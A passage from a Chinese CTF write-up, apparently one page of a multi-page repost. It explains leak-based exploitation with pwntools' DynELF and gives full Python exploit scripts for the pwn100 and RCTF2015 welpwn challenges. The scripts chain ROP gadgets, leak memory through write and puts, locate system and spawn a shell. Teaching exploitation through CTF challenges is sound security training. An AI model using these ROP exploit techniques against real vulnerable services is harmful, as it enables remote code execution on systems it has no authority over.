Loading
0

借助DynELF实现无libc的漏洞利用小结

count += 1
if up == '\n' and c == "":
data = data[:-1]
data += "\x00"
break
else:
data += c
up = c
data = data[:4]
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data
d = DynELF(leak, elf=ELF('./pwn100'))
systemAddress = d.lookup('__libc_system', 'libc')
print "systemAddress:", hex(systemAddress)
print "-----------write /bin/sh to bss--------------"
payload1 = "A" * 64 + "A" * 8
payload1 += p64(pop6address) + p64(0) + p64(1) + p64(readgot) + p64(8) + p64(waddress) + p64(0)
payload1 += p64(movcalladdress)
payload1 += '\x00'*56
payload1 += p64(startaddress)
payload1 =  payload1.ljust(200, "B")
p.send(payload1)
print p.recvuntil('bye~\n')
p.send("/bin/sh\x00")
print "-----------get shell--------------"
payload2 = "A" * 64 + "A" * 8
payload2 += p64(poprdi) + p64(waddress)
payload2 += p64(systemAddress)
payload2 += p64(startaddress)
payload2 =  payload2.ljust(200, "B")
p.send(payload2)
p.interactive()
RCTF2015-welpwn
本题也是64位linux下的二进制程序,无cookie,也存在明显的栈溢出漏洞,且可以循环泄露,符合我们使用DynELF的条件,与其他两题的区别主要在于利用过程比较绕。
整个程序逻辑是这样的,main函数中,用户可以输入1024个字节,并通过echo函数将输入复制到自身栈空间,但该栈空间很小,使得栈溢出成为可能。由于复制过程中,以“\x00”作为字符串终止符,故如果我们的payload中存在这个字符,则不会复制成功;但实际情况是,因为要用到上面提到的通用gadget来为write函数传参,故肯定会在payload中包含“\x00”字符。
这个题目设置了这个障碍,也为这个障碍的绕过提供了其他条件。即由于echo函数的栈空间很小,与main函数栈中的输入字符串之间只间隔32字节,故我们可以利用这一点,只复制过去24字节数据加上一个包含连续4个pop指令的gadget地址,并借助这个gadget跳过原字符串的前32字节数据,即可进入我们正常的通用gadget调用过程,具体脚本如下。
from pwn import *
import binascii
p = process("./welpwn")
elf = ELF("welpwn")
readplt = elf.symbols["read"]
readgot = elf.got["read"]
writeplt = elf.symbols["write"]
writegot = elf.got["write"]
startAddress =    0x400630
popr12r13r14r15  = 0x40089c
pop6address    = 0x40089a
movcalladdress  = 0x400880
def leak(address):
print p.recv(1024)
payload = "A" * 24
payload += p64(popr12r13r14r15)
payload += p64(pop6address) + p64(0) + p64(1) + p64(writegot) + p64(8) + p64(address) + p64(1)
payload += p64(movcalladdress)
payload += "A" * 56
payload += p64(startAddress)
payload =  payload.ljust(1024, "C")
p.send(payload)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
dynelf = DynELF(leak, elf=ELF("./welpwn"))
systemAddress = dynelf.lookup("__libc_system", "libc")
print hex(systemAddress)
bssAddress = 0x601070
poprdi =     0x4008a3
print p.recv(1024)
payload = "A" * 24
payload += p64(popr12r13r14r15)
payload += p64(pop6address) + p64(0) + p64(1) + p64(readgot) + p64(8) + p64(bssAddress) + p64(0)
payload += p64(movcalladdress)
payload += "A" * 56
payload += p64(poprdi)
payload += p64(bssAddress)
payload += p64(systemAddress)
payload = payload.ljust(1024, "C")
p.send(payload)
p.send("/bin/sh\x00")
p.interactive()
由于该题目程序中也包含puts函数,故我们也可以用puts函数来实现leak,代码如下。
def leak(address):
count = 0
data = ''
print p.recv(1024)
payload = "A" * 24
payload += p64(popr12r13r14r15)
payload += p64(poprdi) + p64(address)
payload += p64(putsplt)
payload += p64(startAddress)
payload = payload.ljust(1020, "B")
p.send(payload)
#由于echo函数最后会输出复制过去的字符串,而该字符串是popr12r13r14r15,故我们可以将该gadget的地址作为判断输出结束的依据
print p.recvuntil("\x9c\x08\x40")
up = ""
while True:
c = p.recv(1)
count += 1
if up == '\n' and c == "W": #下一轮输出的首字母就是“Welcome”中的“W”
data = data[:-1]
data += "\x00"

分页阅读: 1 2 3 4
【声明】:8090安全小组门户(https://www.8090-sec.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们:邮箱hack@ddos.kim,我们会在最短的时间内进行处理。